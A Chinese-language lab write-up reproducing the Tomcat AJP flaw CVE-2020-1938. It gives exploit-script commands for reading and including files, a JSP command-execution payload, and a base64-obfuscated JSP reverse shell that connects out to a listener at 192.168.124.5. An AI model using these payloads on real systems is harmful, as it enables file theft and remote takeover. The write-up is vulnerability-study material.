CVE-2020-1938漏洞復現(文件讀取文件包含)


一、影響版本

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x 

二、前提條件

  AJP Connector 服務端口(以上漏洞版本默認開啟:8009端口)

三、環境搭建

  靶機IP:10.4.116.142

  8009服務確認:telnet 10.4.116.142 8009 

  

四、復現

  下面參考鏈接有git地址,下載即可

  

 

 

   任意文件讀取復現:

  python2 "Tomcat-ROOT路徑下文件讀取(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml 10.4.116.142    //讀取web.xml文件

  

 

 

   任意文件包含復現命令:

  python2 "Tomcat-ROOT路徑下文件包含(CVE-2020-1938).py" -p 8009 -f /11.txt 10.4.116.142  

   執行whoami命令:


<% java.io.InputStream in = Runtime.getRuntime().exec("whoami").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>

  反彈shell,自己編譯bash后的代碼,編譯地址:http://www.jackson-t.ca/runtime-exec-payloads.html

<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

 

  坑:可以讀取到的文件11.txt文件是直接放到漏洞環境webapps/ROOT目錄下的,不是本地包含上去的,所以這里想要拿到shell的條件比較苛刻。

  

 

 

   

 

 

參考鏈接:

https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read

https://www.svenbeast.com/post/fqSI9laE8/

https://www.52pojie.cn/forum.php?mod=viewthread&tid=1118837


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM